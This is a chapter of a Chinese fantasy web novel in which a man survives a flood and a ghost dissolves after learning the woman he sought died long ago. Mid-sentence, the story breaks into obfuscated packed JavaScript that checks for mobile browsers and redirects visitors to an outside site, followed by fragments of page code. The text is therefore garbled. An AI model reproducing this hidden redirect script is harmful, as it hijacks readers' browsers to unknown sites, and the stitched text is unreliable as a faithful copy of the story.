恍惚中,徐紊听见有人在呼唤她。
那声音隔着厚重的水层,模糊不清,却带着一种令人心安的熟悉感,就像……
她猛然睁开眼,心中骤起惊惧,连忙扑腾四肢浮出汹涌的水面。
她看见了。
一个满身伤痕的男人,正从高处的碎石坡上滑下。
是张晨。
徐紊的第一反应不是惊喜,而是滔天的愤怒。
这个蠢货!不知死活的蠢货!
她想放声怒吼,让他赶紧离开这个即将被洪水淹没的地方,可湍急的水流几乎耗尽了她所有的力气,能浮出水面已经是极限。
她看到张晨举着什么东西朝她跑来,整个人已经淌进了齐腰深的水里,却仍朝她的方向挪来。
疯子!
真是个疯子!
没看到河水还在疯狂上涨吗?
“接着!”张晨的嘶吼传来。
徐紊看到一个东西落在了距她不远处的水里,当即感应到一股熟悉的妖力波动。
是锦囊。
张晨竟然把锦囊还给了她!
她猛地抬头望向张晨所在的位置,恰见一块碎石滚落。
她瞳孔骤缩,撕心裂肺地吼道:“张晨!快躲开!”
但为时已晚。
张晨被那块碎石砸中,瞬间没入浑浊的水流,消失不见。
她绝望地看着这一幕,奋力汲取锦囊里的妖力,必须快,再快一点……
若张晨被河里的邪祟分食,她就是想尽办法也再难救回!
其实,张晨是奔着赴死的决心而来。
很早之前,他就托徐紊的花妖朋友替他打听过家人的消息,得知妻子已经改嫁,男方对母女俩极好,生活安稳幸福。而他的父母也在弟弟的陪伴下走出阴霾,安享晚年,他便再无牵挂。
这么多年过去,他在山里呆惯了,突然让他离开这里,反倒有些不适应。
而且……他靠着徐紊……
不,是竹妖。
他靠竹妖多活了这么多年,却帮不上对方的忙,那在最后,定要拼尽全力。
他不想竹妖死。
冰冷河水将他卷溺入底,他感觉有东西在啃噬他的身体,心想应是那些脏东西。
不过也好……
他死了,竹妖便能彻底解脱,不再被他这个累赘困住,可去游览大好河山。
倏忽,张晨只觉手腕一紧,一股强大的力量将他拽出水面。
“咳!咳咳咳!”他瘫坐在地上,往外咳着呛入的河水。
待他看清眼前之人,不由一愣,救他的竟是那个叫做周刍的男鬼!
周刍鬼气森寒,一双空洞的眼睛正死死盯着他。
过了好一会儿,周刍声音飘忽地问:“徐紊……很多年前就死了,是不是?”
张晨一怔,看着这只执念深重的鬼,心知到了这一步,再无隐瞒的必要,哑声回答:“是。现在的‘徐紊’,体内是一只竹妖。”
周刍恍惚地点点头,眼神飘向远方:“我回过学校,去见了她和学生……她看我的眼神陌生又警惕……我早该想到的……”
他垂下头,喃喃自语着:“我要走了……我要去找真正的徐紊……”
张晨不可置信地看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272569|182379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这只鬼,“你找不到的!徐紊死了那么多年,早就投胎转世去了,你要去哪里找?”
周刍摇摇头,固执地说:“不会的……她是个犟脾气……我还没道歉,她还没原谅我……她怎么可能憋着这口气去投胎?她一定还在某个地方等我……”
“你错了!”张晨满脸愤怒,只觉眼前之人不可理喻,“周刍,你从头到尾都错了!徐紊根本没有恨过你!她若是恨你,当年就不会冒着生命危险去救你们!”
周刍眼神迷茫,“那为什么……她没来找我,没来骂我……打我……”
张晨悲愤摇头,心中涌起无尽悲哀,“因为你自私!周刍,是你自己心有愧疚,执念成狂,却非要逼着徐紊原谅你,解救你!凭什么?凭什么就不能是她看开了,放下了,心甘情愿地去往生?你凭什么觉得你的愧疚比她的释然更重要!”
周刍如遭雷击,他看着张晨,眼眶里缓缓淌下两行浓稠血泪,狰狞又可悲。
“所以……那时她崩溃大哭……就已经做出了选择……是我一直在强留她……困住她……”
“是!”张晨想到那个坠楼女人,心中亦觉悲凉,“不仅如此,你还失去了另一个非常爱你的人。”
周刍沉默了,他的执念仿佛被这番话彻底击碎,身形变得虚幻。
他正在慢慢消散,不知想到了什么,突然轻笑出声,面容浸满苦涩与自嘲。
“爱?那为何……”
“我爱她时,她不爱,当我重获幸福后,她又爱了……”
在他消散的那一瞬,张晨听到了一句呢喃。
“这种爱……不要也罢……”